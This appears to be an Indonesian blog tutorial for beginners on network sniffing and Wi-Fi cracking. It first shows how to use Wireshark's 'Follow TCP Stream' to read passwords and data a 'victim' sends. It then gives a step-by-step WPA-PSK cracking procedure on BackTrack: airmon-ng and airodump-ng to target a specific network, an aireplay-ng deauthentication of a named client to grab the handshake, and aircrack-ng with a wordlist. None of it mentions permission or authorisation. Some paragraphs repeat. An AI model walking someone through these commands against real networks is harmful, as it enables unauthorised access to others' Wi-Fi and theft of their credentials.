Wireshark vs WPA-PSK

Apa yang anda bayangkan bisa Hacker,???-          Bobol bank?
-          Bobol password?
-          Ngacak-ngacak blog / website?
-          Atau sekedar mencuri data informasi?
terlihat menarik bukan???!!!

Ada beberapa teknik dalam proses tersebut kali ini kita akan membahas mengenaiWIRESHARK..Wireshark ini merupakan software untuk melakukan analisa lalu-lintas jaringan komputer, yang memiliki fungsi-fungsi yang amat berguna bagi profesional jaringan, administrator jaringan, peneliti, hingga pengembang piranti lunak jaringan. contoh tampilan aplikasi wiresharknya Wireshark dapat membaca data secara 

langsung dari Ethernet, Token-Ring, FDDI, serial (PPP and SLIP), 802.11 wireless LAN , dan koneksi ATM. Hebat kan softwarenya…

mengapa diperlukan menganalisis paket-paket pada jaringan ?

1. admin sebuah jaringan menggunakan untuk troubleshoting pada jaringannya

2. teknisi keamanan jaringan menggunakan untuk memeriksa keamanan jaringan nya

3. banyak yang menggunakan untuk mempelajari protokol jaringanya sendiri

4. banyak juga yang menggunakan sebagai sniffer atau pengendus di jarigan 

wireshark ini mempunyai kelebiahan dan kekurangan juga tentu nya.

Program ini juga sering digunakan oleh chatters untuk mengetahui ip victimnya maupun para chatter lainnya lewat typingan room.Cara Menggunakan WireShark:o   Punya dulu aplikasi wiresharnya baru deh  Jalankan programnyao   Klik capture lalu optiono   Pada Interfacenya pastikan yang dipilih adalah Ethernet Card anda yang menuju ke jaringan, bila bukan ganti dan cara untuk mengetahuinya adalah pilih salah satu kemudian lihat bawahnya pada tulisan ip addres: apabila status ip addresnya unknow, maka pilih intarface lainya dan pastikan ip addres anda tampil pada interface, maka pilih itu lalu klik start. Contoh ethernet card: SiS NIC SISNIC (Microsoft's Packet Scheduler) \Device\NPF_{A82B443F-9592-4213- BDAE-00AEC174ACB6}o   Klik tombol stop setelah anda merasa yakin bahwa ada password yang masuk selama anda menekan tombol starto   Anda bisa melihat semua jenis packet yang masuk dan keluar di jaringan (atau pada komputer anda saja jika network anda menggunakan Swticho   Untuk menganalisis datanya klik kanan pada data yang ingin di analisis lalu klik “Follow TCP Stream” dan selamat menganalisis paketnya (melihat aktivitas vitctim)o   Yang jelas dari data itu pasti di dalamnya terdapat informasi2 yang dimasukkan victim ke website dan sebaliknya

memang masih banyak proses didalam nya yang perlu pedalaman ilmu lagi tapi setidaknya bisa berbagi walaupun sedikit yang diahami

          

memang masih banyak proses didalam nya yang perlu pedalaman ilmu lagi tapi setidaknya bisa berbagi walaupun sedikit yang diahami
            è Cara di atas hanya berlaku apabila jaringan anda adalah Hub bukan switch
Dari cara di atas anda dapat mengetahui bahwa jaringan anda adalah hub/switch dengan melihat pada kolom IP Source dan IP Destination. Bila pada setiap baris salah satu dari keduanya merupakan ip anda maka dapat dipastikan jaringan anda adalah jaringan switch, bila tidak ya berarti sebaliknya.


Dari cara di atas anda dapat mengetahui bahwa jaringan anda adalah hub/switch dengan melihat pada kolom IP Source dan IP Destination. Bila pada setiap baris salah satu dari keduanya merupakan ip anda maka dapat dipastikan jaringan anda adalah jaringan switch, bila tidak ya berarti sebaliknya.

-------

Nah yang berikut ini mengenai

cara melakukan menghacking jaringan infrastruktur dengan encryp WPA - PSK pada ubuntu

Sebelumnya ini hanya perkenalan atau mencoba berbagi ilmu tapi untuk kalangan newbie sebenarnya dan beberapa tergolong pemula, semoga dalam konteks ini bisa meningkatkan ilmu kita
semoga tutorial ini dapat membantu...

·         Sebagai informasi
pertama tama sebagaimana bisaa…


1. Siapkan CD Live Backtrack n tentunya dengan partnernya n of course sebatang rokok agar lebih santai..

2. masuk ke dekstop dengan perintah ~# startx

3. buka konsole dan ketikkan perintah :~# ifconfig -a

·        


4. :~# ifconfig wlan0 up (tuk mengaktifkan interface wlan0)




5. :~# airmon-ng

:~# airmon-ng start wlan0[/color] (tuk membuat virtual interface mode monitor)




6. ~# airodump-ng mon0 (tuk memonitoring jaringan yang ada di sekitar)

mon0 adalah interface virtual hasil dari airmon-ng tadi



hasil dari airodump-ng mon0




7. :~# airodump-ng -w test --channel 11 --bssid 00904c910001 mon0

(tuk memonitoring khusus jaringan yang memiliki bssid 00:90:4C:91:00:01 pada channel 11 dan hasil dari monitoring di tulis pada file yang bernama 'test')




8. :~# aireplay-ng -0 1 -a 00904c910001 -c oo1cbfa13fe3 mon0

(aireplay-ng digunakan untuk mendisconnect salah satu client yaitu 00:1C:BF:A1:3F:E3 untuk mendapatkan paket handshake yang dibutuhkan untuk proses cracking)


-0 : mode serangan deAuthentication
1 : dilakukan sebanyak 1x deAuth

9. setelah mendapatkan paket handshake, selanjutnya adalah proses cracking dengan menggunakan aircrack dan file password dengan existensi .lst atau .txt dengan perintah

:~# aircrack-ng test-01.cap -w /pentest/passwords/wordlists/inawpa.txt


inawpa.txt adalah file password yang saya buat sendiri dan terletak pada /pentest/passwords/wordlists/inawpa.txt




sebagai informasi, keberhasilan proses cracking tergantung ada tidaknya password yang ada di list password dengan password yang sebenarnya...jika password yang digunakan pada jaringan tersebut ada di list password maka proses cracking akan berhasil dan jika password list yang qt miliki tidak mencatat password yang digunakan pada jaringan tersebut kemungkinan keberhasilan proses cracking akan gagal.

SEMOGA DAPAT MEMBANTU BAGI PARA NEWBIE...
kalo ada kekurangan mohon dicerahkan..